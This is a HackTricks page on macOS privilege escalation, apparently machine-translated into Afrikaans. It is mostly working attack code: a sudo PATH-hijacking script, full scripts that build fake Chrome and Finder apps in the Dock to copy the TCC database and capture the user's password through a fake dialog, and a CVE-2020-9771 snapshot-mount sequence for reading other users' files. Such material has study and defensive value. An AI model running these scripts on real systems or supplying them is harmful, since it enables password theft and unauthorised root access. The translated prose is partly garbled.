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hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md

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macOS Privilege Escalation

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TCC Privilege Escalation

As jy hier gekom het op soek na TCC privilege escalatie, gaan na:

{% content-ref url="macos-security-protections/macos-tcc/" %} macos-tcc {% endcontent-ref %}

Linux Privesc

Neem asseblief kennis dat meeste van die truuks oor privilege escalasie wat Linux/Unix raak, ook MacOS masjiene sal raak. So kyk na:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

User Interaction

Sudo Hijacking

Jy kan die oorspronklike Sudo Hijacking tegniek binne die Linux Privilege Escalation pos vind.

E however, macOS onderhou die gebruiker se PATH wanneer hy sudo uitvoer. Dit beteken dat 'n ander manier om hierdie aanval te bereik, sou wees om ander binaries te kap wat die slagoffer steeds sal uitvoer wanneer sudo gedraai word:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Note dat 'n gebruiker wat die terminal gebruik hoogs waarskynlik Homebrew geïnstalleer sal hê. Dit is dus moontlik om binaries in /opt/homebrew/bin te kap.

Dock Imitasie

Deur sommige sosiale ingenieurswese kan jy byvoorbeeld Google Chrome imiteer binne die dock en werklik jou eie skrip uitvoer:

{% tabs %} {% tab title="Chrome Imitasie" %} Sommige voorstelle:

  • Kontroleer in die Dock of daar 'n Chrome is, en in daardie geval verwyder daardie inskrywing en voeg die valse Chrome-inskrywing in dieselfde posisie in die Dock-array by. 
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

{% endtab %}

{% tab title="Finder Imitasie" %} Sommige voorstelle:

  • Jy kan nie Finder uit die Dock verwyder nie, so as jy dit aan die Dock wil voeg, kan jy die vals Finder net langs die werklike een plaas. Hiervoor moet jy die vals Finder inskrywing aan die begin van die Dock-array voeg.
  • 'n Ander opsie is om dit nie in die Dock te plaas nie en net oop te maak, "Finder vra om Finder te beheer" is nie so vreemd nie.
  • 'n Ander opsie om na root te eskaleer sonder om die wagwoord met 'n vreeslike boks te vra, is om Finder regtig te laat vra vir die wagwoord om 'n bevoorregte aksie uit te voer:
  • Vra Finder om na /etc/pam.d 'n nuwe sudo lêer te kopieer (Die prompt wat om die wagwoord vra, sal aandui dat "Finder wil sudo kopieer")
  • Vra Finder om 'n nuwe Magtigingsplugin te kopieer (Jy kan die lêernaam beheer sodat die prompt wat om die wagwoord vra, sal aandui dat "Finder wil Finder.bundle kopieer")
#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

{% endtab %} {% endtabs %}

TCC - Wortel Privilege Escalation

CVE-2020-9771 - mount_apfs TCC omseiling en privilege escalasie

Enige gebruiker (selfs onprivilegieerde) kan 'n tydmasjien-snapshot skep en monteer en toegang hê tot AL die lêers van daardie snapshot.
Die enige privilegie wat benodig word, is dat die toepassing wat gebruik word (soos Terminal) Volledige Skyftoegang (FDA) toegang (kTCCServiceSystemPolicyAllfiles) moet hê wat deur 'n admin toegestaan moet word.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

'n Meer gedetailleerde verduideliking kan gevind word in die oorspronklike verslag.

Sensitiewe Inligting

Dit kan nuttig wees om voorregte te verhoog:

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

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